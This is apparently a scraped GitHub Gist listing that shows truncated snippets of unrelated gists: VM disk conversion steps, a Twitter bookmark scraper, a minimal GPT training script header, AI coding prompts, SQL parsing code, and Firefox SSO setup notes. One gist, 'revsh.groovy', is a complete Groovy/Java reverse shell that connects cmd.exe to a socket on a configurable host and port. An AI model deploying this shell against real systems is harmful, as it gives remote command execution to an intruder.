Skip to content

Instantly share code, notes, and snippets.

@ogerardin
ogerardin / gist:014aff71b7d7aacf4bbfb3b8bbc575b7
Created July 25, 2023 14:18
Convert VMware VM to UTM (Mac)
Export VM as OVF
/Applications/VMware\ Fusion.app/Contents/Library/VMware\ OVF\ Tool/ovftool VM.vmwarevm/VM.vmx .
Convert .vmdk to .qcow2
qemu-img convert -p -f vmdk -O qcow2 VM-disk1.vmdk VM-disk1.qcow2
Create custom VM in UTM matching VM hardware
Remove default disk
Add drive / import QCOW2 file (file is copied to default UTM VM folder)
Add CD/DVD drive
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8" />
<script src="Scripts/jquery-1.9.1.min.js"></script>
<link href="Content/bootstrap.min.css" rel="stylesheet" />
<script src="Scripts/isRockFx.js"></script>
<script>
$(function () {
@gd3kr
gd3kr / script.js
Created February 15, 2024 06:30
Download a JSON List of twitter bookmarks
/*
the twitter api is stupid. it is stupid and bad and expensive. hence, this.
Literally just paste this in the JS console on the bookmarks tab and the script will automatically scroll to the bottom of your bookmarks and keep a track of them as it goes.
When finished, it downloads a JSON file containing the raw text content of every bookmark.
for now it stores just the text inside the tweet itself, but if you're reading this why don't you go ahead and try to also store other information (author, tweetLink, pictures, everything). come on. do it. please?
*/
@karpathy
karpathy / microgpt.py
Last active February 13, 2026 22:11
microgpt
"""
The most atomic way to train and inference a GPT in pure, dependency-free Python.
This file is the complete algorithm.
Everything else is just efficiency.
@karpathy
"""
import os # os.path.exists
import math # math.log, math.exp
@frohoff
frohoff / revsh.groovy
Created March 2, 2016 18:55
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
# OpenClaw Implementation Prompts
Each prompt below is a self-contained brief you can hand to an AI coding assistant (or use as a project spec) to build that use case from scratch. Adapt the specific services to whatever you already use — the patterns are what matter.
---
## 1) Personal CRM Intelligence
```
Build me a personal CRM system that automatically tracks everyone I interact with, with smart filtering so it only adds real people — not newsletters, bots, or cold outreach.
@askarbozcan
askarbozcan / traversal.kt
Created April 15, 2023 18:17
Apache Calcite Sql Tree Traversal Example
import org.apache.calcite.avatica.util.Casing
import org.apache.calcite.sql.*
import org.apache.calcite.sql.parser.SqlParser
import org.apache.calcite.sql.util.SqlBasicVisitor
import org.apache.calcite.sql.util.SqlVisitor
import org.apache.calcite.tools.Frameworks
import org.junit.jupiter.api.Test
class SqlNodeParsing {
@Test
export const gpt_functions_param_jobs_fetching = [
{
name: "process_job_data",
description: "Process job data and extract core fields for a scraper.",
parameters: {
type: "object",
additionalProperties: false,
properties: {
// Company
company_name: {
@greghaskins
greghaskins / Microsoft Entra SSO in Firefox on macOS.md
Last active February 13, 2026 22:07
Enable Microsoft Entra SSO with Firefox for corporate Single-Sign-On on macOS

Enable Microsft Entra SSO in Firefox on macOS

Microsoft Intune / "Company Portal" integrates with the macOS system-wide SSO mechanism. Beyond just single-sign-on, this also helps the Microsoft-hosted websites (such as SharePoint and OneDrive) verify that the device is "trusted" so you don't get the annoying non-compliance banner:

Your organization doesn't allow you to download, print, or sync using this device

In Microsoft Edge (unsuprisingly) and Safari, this "just works." In Chrome, you can use the official browser extension. Firefox requires a policy settings change that isn't obvious since it's not in the UI.

Details